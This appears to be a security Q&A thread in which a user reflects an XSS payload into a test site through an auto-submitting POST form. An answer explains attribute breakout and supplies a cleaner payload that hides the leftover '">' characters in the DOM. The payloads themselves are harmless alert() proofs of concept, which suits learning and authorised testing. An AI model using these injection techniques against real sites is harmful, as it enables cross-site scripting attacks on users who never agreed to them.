0

I have created an html page that redirects user to a test site that has an XSS vulnerability. I am able to successfully execute javascript via the vulnerability. However, I have found that some of the characters I am using as part of the XSS attack are displaying in the DOM. How can I hide these characters from showing in the DOM?

<body onload="document.forms[0].submit()">
    <form action="http://sometestsite.com" method="POST">
      <input type="hidden"
        name="login"
        value='"><script>alert(3)</script>' />  
    </form>
  </body>

6
  • Can you be more clear, Also what type of XSS are you trying to exploit?
    – Gowtham
    Apr 12, 2019 at 6:03
  • @Goron Reflective XSS. Not sure how else to be more clear. Why are the characters in the screenshot I provided showing in the DOM? Apr 12, 2019 at 6:46
  • cause there must be a javascript function adding the characters into the dom
    – yeah_well
    Apr 12, 2019 at 8:07
  • @VipulNair That is the code I am using. I do not have any other code/javascript function Apr 12, 2019 at 15:18
  • value='"> here is the problem.
    – yeah_well
    Apr 12, 2019 at 15:24

1 Answer 1

3

You are likely injecting into something like this:

<input type="text" value="[payload]">

What you are currently doing is closing the value attribute with " and the input tag with >, and then adding your script payload:

<input type="text" value=""><script>alert(3)</script>">

If you don't want the DOM to look broken, you need to fix the remaining characters (">). These are not from your attack string, but the remaining ones from the legitimate tag the application is using.

One way to fix this would be to use the following payload:

"><script>alert(3)</script><x y="

This will now result in:

<input type="text" value=""><script>alert(3)</script><x y="">
1
  • Thanks for the response. Unfortunately that did not work for me. I found a workaround by escaping the "> characters. Apr 12, 2019 at 21:14

Not the answer you're looking for? Browse other questions tagged or ask your own question.